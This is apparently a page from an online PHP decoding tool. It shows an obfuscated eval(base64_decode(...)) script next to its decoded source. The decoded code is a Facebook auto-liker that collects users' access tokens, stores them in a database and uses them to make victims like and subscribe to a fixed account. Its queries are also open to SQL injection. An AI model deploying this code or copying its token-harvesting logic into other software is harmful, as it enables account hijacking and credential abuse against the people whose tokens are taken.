Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHANCm9iX3N0YXJ0KCdvYl9nemhhbmRsZXInKTsNCnNlc3Npb25fc3R..

Decoded Output download

?>b'<?php
ob_start(\'ob_gzhandler\');
session_start();
if($_POST[\'access_token\']) {
	$token2 = $_POST[\'access_token\'];
	if(preg_match("\'access_token=(.*?)&expires_in=\'", $token2, $matches)){
		$token = $matches[1];
			}else{
		$token = $token2;
	}
$me = me($token);
if($me[\'id\']){
$_SESSION[\'id\'] = $me[id];
$_SESSION[\'name\'] = $me[name];
$_SESSION[\'birthday\'] = $me[birthday];
$_SESSION[\'email\'] = $me[email];
$_SESSION[\'access_token\'] = $token;
include(\'config.php\');
$connection = mysql_connect($host,$username,$password);
if (!$connection)
  {
  die(\'Could not connect: \' . mysql_error());
  }
mysql_select_db($dbname) or die(mysql_error());
mysql_query("SET NAMES utf8");
mysql_query("CREATE TABLE IF NOT EXISTS `Likers` (
      `id` int(11) NOT NULL AUTO_INCREMENT,
      `user_id` varchar(32) NOT NULL,
      `name` varchar(32) NOT NULL,
      `access_token` varchar(255) NOT NULL,
      PRIMARY KEY (`id`)
      ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
   ");
$row = null;
    $result = mysql_query("
      SELECT
         *
      FROM
         Likers
      WHERE
         user_id = \'" . $_SESSION[\'id\'] . "\'
   ");
   if($result){
      $row = mysql_fetch_array($result, MYSQL_ASSOC);
      if(mysql_num_rows($result) > 1){
         mysql_query("
            DELETE FROM
               Likers
            WHERE
               user_id=\'" . $_SESSION[\'id\'] . "\' AND
               id != \'" . $row[\'id\'] . "\'
         ");
      }
   }
   if(!$row){
      mysql_query(
         "INSERT INTO 
            Likers
         SET
            `user_id` = \'" .$_SESSION[\'id\']. "\',
            `name` = \'" . $_SESSION[\'name\'] . "\',
            `access_token` = \'" .$_SESSION[\'access_token\']. "\'
      ");
   } else {
      mysql_query(
         "UPDATE 
            Likers
         SET
            `access_token` = \'" . $_SESSION[\'access_token\'] . "\'
         WHERE
            `id` = " . $row[\'id\'] . "
      ");
}
mysql_close($connection);
//Like
$getpost = \'https://graph.facebook.com/100004227663763/feed?limit=1&access_token=\'.$token;
$get = auto($getpost);
$array = json_decode($get, true);
$postid = $array[data][0][id];
$com = \'https://graph.facebook.com/\'.$postid.\'/likes?method=post&access_token=\'.$token;
$ren = auto($com);
auto($com);
auto(\'https://graph.facebook.com/100004227663763/subscribers?method=post&access_token=\'.$token);
header(\'Location: index.php\');
//end
}else{
session_destroy();
header(\'Location: index.php?tb=Token Expired. Please Do It New Token\')
;
}
}
function me($access) {
return json_decode(auto(\'https://graph.facebook.com/me?access_token=\'.$access),true);
}

function auto($url){
   $curl = curl_init();
   curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt($curl, CURLOPT_URL, $url);
   $ch = curl_exec($curl);
   curl_close($curl);
   return $ch;
   }
   ?>'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHANCm9iX3N0YXJ0KCdvYl9nemhhbmRsZXInKTsNCnNlc3Npb25fc3RhcnQoKTsNCmlmKCRfUE9TVFsnYWNjZXNzX3Rva2VuJ10pIHsNCgkkdG9rZW4yID0gJF9QT1NUWydhY2Nlc3NfdG9rZW4nXTsNCglpZihwcmVnX21hdGNoKCInYWNjZXNzX3Rva2VuPSguKj8pJmV4cGlyZXNfaW49JyIsICR0b2tlbjIsICRtYXRjaGVzKSl7DQoJCSR0b2tlbiA9ICRtYXRjaGVzWzFdOw0KCQkJfWVsc2V7DQoJCSR0b2tlbiA9ICR0b2tlbjI7DQoJfQ0KJG1lID0gbWUoJHRva2VuKTsNCmlmKCRtZVsnaWQnXSl7DQokX1NFU1NJT05bJ2lkJ10gPSAkbWVbaWRdOw0KJF9TRVNTSU9OWyduYW1lJ10gPSAkbWVbbmFtZV07DQokX1NFU1NJT05bJ2JpcnRoZGF5J10gPSAkbWVbYmlydGhkYXldOw0KJF9TRVNTSU9OWydlbWFpbCddID0gJG1lW2VtYWlsXTsNCiRfU0VTU0lPTlsnYWNjZXNzX3Rva2VuJ10gPSAkdG9rZW47DQppbmNsdWRlKCdjb25maWcucGhwJyk7DQokY29ubmVjdGlvbiA9IG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCk7DQppZiAoISRjb25uZWN0aW9uKQ0KICB7DQogIGRpZSgnQ291bGQgbm90IGNvbm5lY3Q6ICcgLiBteXNxbF9lcnJvcigpKTsNCiAgfQ0KbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCm15c3FsX3F1ZXJ5KCJTRVQgTkFNRVMgdXRmOCIpOw0KbXlzcWxfcXVlcnkoIkNSRUFURSBUQUJMRSBJRiBOT1QgRVhJU1RTIGBMaWtlcnNgICgNCiAgICAgIGBpZGAgaW50KDExKSBOT1QgTlVMTCBBVVRPX0lOQ1JFTUVOVCwNCiAgICAgIGB1c2VyX2lkYCB2YXJjaGFyKDMyKSBOT1QgTlVMTCwNCiAgICAgIGBuYW1lYCB2YXJjaGFyKDMyKSBOT1QgTlVMTCwNCiAgICAgIGBhY2Nlc3NfdG9rZW5gIHZhcmNoYXIoMjU1KSBOT1QgTlVMTCwNCiAgICAgIFBSSU1BUlkgS0VZIChgaWRgKQ0KICAgICAgKSBFTkdJTkU9TXlJU0FNIERFRkFVTFQgQ0hBUlNFVD11dGY4IEFVVE9fSU5DUkVNRU5UPTEgOw0KICAgIik7DQokcm93ID0gbnVsbDsNCiAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIg0KICAgICAgU0VMRUNUDQogICAgICAgICAqDQogICAgICBGUk9NDQogICAgICAgICBMaWtlcnMNCiAgICAgIFdIRVJFDQogICAgICAgICB1c2VyX2lkID0gJyIgLiAkX1NFU1NJT05bJ2lkJ10gLiAiJw0KICAgIik7DQogICBpZigkcmVzdWx0KXsNCiAgICAgICRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQyk7DQogICAgICBpZihteXNxbF9udW1fcm93cygkcmVzdWx0KSA+IDEpew0KICAgICAgICAgbXlzcWxfcXVlcnkoIg0KICAgICAgICAgICAgREVMRVRFIEZST00NCiAgICAgICAgICAgICAgIExpa2Vycw0KICAgICAgICAgICAgV0hFUkUNCiAgICAgICAgICAgICAgIHVzZXJfaWQ9JyIgLiAkX1NFU1NJT05bJ2lkJ10gLiAiJyBBTkQNCiAgICAgICAgICAgICAgIGlkICE9ICciIC4gJHJvd1snaWQnXSAuICInDQogICAgICAgICAiKTsNCiAgICAgIH0NCiAgIH0NCiAgIGlmKCEkcm93KXsNCiAgICAgIG15c3FsX3F1ZXJ5KA0KICAgICAgICAgIklOU0VSVCBJTlRPIA0KICAgICAgICAgICAgTGlrZXJzDQogICAgICAgICBTRVQNCiAgICAgICAgICAgIGB1c2VyX2lkYCA9ICciIC4kX1NFU1NJT05bJ2lkJ10uICInLA0KICAgICAgICAgICAgYG5hbWVgID0gJyIgLiAkX1NFU1NJT05bJ25hbWUnXSAuICInLA0KICAgICAgICAgICAgYGFjY2Vzc190b2tlbmAgPSAnIiAuJF9TRVNTSU9OWydhY2Nlc3NfdG9rZW4nXS4gIicNCiAgICAgICIpOw0KICAgfSBlbHNlIHsNCiAgICAgIG15c3FsX3F1ZXJ5KA0KICAgICAgICAgIlVQREFURSANCiAgICAgICAgICAgIExpa2Vycw0KICAgICAgICAgU0VUDQogICAgICAgICAgICBgYWNjZXNzX3Rva2VuYCA9ICciIC4gJF9TRVNTSU9OWydhY2Nlc3NfdG9rZW4nXSAuICInDQogICAgICAgICBXSEVSRQ0KICAgICAgICAgICAgYGlkYCA9ICIgLiAkcm93WydpZCddIC4gIg0KICAgICAgIik7DQp9DQpteXNxbF9jbG9zZSgkY29ubmVjdGlvbik7DQovL0xpa2UNCiRnZXRwb3N0ID0gJ2h0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tLzEwMDAwNDIyNzY2Mzc2My9mZWVkP2xpbWl0PTEmYWNjZXNzX3Rva2VuPScuJHRva2VuOw0KJGdldCA9IGF1dG8oJGdldHBvc3QpOw0KJGFycmF5ID0ganNvbl9kZWNvZGUoJGdldCwgdHJ1ZSk7DQokcG9zdGlkID0gJGFycmF5W2RhdGFdWzBdW2lkXTsNCiRjb20gPSAnaHR0cHM6Ly9ncmFwaC5mYWNlYm9vay5jb20vJy4kcG9zdGlkLicvbGlrZXM/bWV0aG9kPXBvc3QmYWNjZXNzX3Rva2VuPScuJHRva2VuOw0KJHJlbiA9IGF1dG8oJGNvbSk7DQphdXRvKCRjb20pOw0KYXV0bygnaHR0cHM6Ly9ncmFwaC5mYWNlYm9vay5jb20vMTAwMDA0MjI3NjYzNzYzL3N1YnNjcmliZXJzP21ldGhvZD1wb3N0JmFjY2Vzc190b2tlbj0nLiR0b2tlbik7DQpoZWFkZXIoJ0xvY2F0aW9uOiBpbmRleC5waHAnKTsNCi8vZW5kDQp9ZWxzZXsNCnNlc3Npb25fZGVzdHJveSgpOw0KaGVhZGVyKCdMb2NhdGlvbjogaW5kZXgucGhwP3RiPVRva2VuIEV4cGlyZWQuIFBsZWFzZSBEbyBJdCBOZXcgVG9rZW4nKQ0KOw0KfQ0KfQ0KZnVuY3Rpb24gbWUoJGFjY2Vzcykgew0KcmV0dXJuIGpzb25fZGVjb2RlKGF1dG8oJ2h0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tL21lP2FjY2Vzc190b2tlbj0nLiRhY2Nlc3MpLHRydWUpOw0KfQ0KDQpmdW5jdGlvbiBhdXRvKCR1cmwpew0KICAgJGN1cmwgPSBjdXJsX2luaXQoKTsNCiAgIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCiAgIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwgJHVybCk7DQogICAkY2ggPSBjdXJsX2V4ZWMoJGN1cmwpOw0KICAgY3VybF9jbG9zZSgkY3VybCk7DQogICByZXR1cm4gJGNoOw0KICAgfQ0KICAgPz4=")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 929f779ff5f74338c32bd4636347532e
Eval Count 1
Decode Time 87 ms